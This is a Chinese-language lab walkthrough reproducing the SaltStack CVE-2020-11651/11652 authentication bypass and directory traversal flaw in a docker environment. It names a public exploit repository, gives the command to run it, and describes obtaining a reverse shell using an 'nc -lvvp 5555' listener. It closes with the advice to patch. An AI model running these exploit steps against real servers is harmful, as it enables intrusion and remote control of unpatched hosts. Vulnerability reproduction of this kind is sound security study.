SaltStack 任意文件读写漏洞(CVE-2020-11652)

前言

SaltStack 是基于 Python 开发的一套C/S架构配置管理工具。国外某安全团队披露了 SaltStack 存在认证绕过漏洞(CVE-2020-11651)和目录遍历漏洞(CVE-2020-11652)。

在 CVE-2020-11652 目录遍历漏洞中,攻击者通过构造恶意请求,可以读取、写入服务器上任意文件。

影响版本:

  • SaltStack Version < 2019.2.4
  • SaltStack Version < 3000.2

漏洞分析

漏洞由Salt Master进程的ClearFuncs类未对访问路径进行正确过滤导致,经过身份验证的攻击者利用此漏洞可以访问任意目录。

漏洞环境

执行如下命令启动一个SaltStack Master服务:

docker-compose up -d

环境启动后,将会在本地监听如下端口:

  • 4505/4506 这是SaltStack Master与minions通信的端口
  • 8000 这是Salt的API端口
  • 2222 这是容器内部的SSH服务器监听的端口

SaltStack 任意文件读写漏洞(CVE-2020-11652)

漏洞复现

首先我们下载poc

git clone https://github.com/heikanet/CVE-2020-11651-CVE-2020-11652-EXP.git

安装号salt即可运行

pip3 install salt

SaltStack 任意文件读写漏洞(CVE-2020-11652)

python3 CVE-2020-11651.py

发现存在漏洞

直接就是反弹shell

SaltStack 任意文件读写漏洞(CVE-2020-11652)

nc -lvvp 5555

SaltStack 任意文件读写漏洞(CVE-2020-11652)

修复建议

SaltStack官方已发布最新版本修复了上述漏洞,建议相关用户及时更新规避风险。

https://github.com/saltstack/salt/releases